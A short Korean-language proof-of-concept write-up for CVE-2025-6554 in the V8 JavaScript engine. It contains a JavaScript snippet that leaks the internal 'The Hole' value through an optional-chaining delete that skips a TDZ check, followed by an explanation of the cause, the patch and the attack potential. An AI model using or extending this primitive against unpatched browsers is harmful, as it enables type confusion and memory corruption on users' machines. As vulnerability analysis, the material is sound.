
CVE-2025-6554에 대한 개념 증명 익스플로잇: V8 JavaScript 엔진의 선택적 체이닝 삭제 시 TDZ 우회를 통한 타입 혼동으로, The Hole 이스케이프를 가능하게 하여 메모리 손상을 초래합니다.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
변수 y가 선언되기 전에 접근되었습니다. 일반적으로 이는 ReferenceError(TDZ)를 발생시켜야 하지만, 구형 V8에서는 delete x?.[y]와 결합될 때 검사가 실패하여 내부 센티널 값인 "The Hole"을 반환했습니다.
V8은 TDZ를 한 번만 확인한 후, y가 유효하다고 잘못 가정했습니다. 이로 인해 "The Hole"이 사용자 코드로 유출될 수 있었습니다.
패치는 모든 접근 시마다 새로운 TDZ 검사(ThrowReferenceErrorIfHole)를 강제하여, 초기화 전의 y가 항상 예외를 발생시키도록 합니다.
영향: 공격자는 "The Hole"을 획득하여 타입 혼동, 스택 트릭 또는 범위 우회에 악용할 수 있습니다.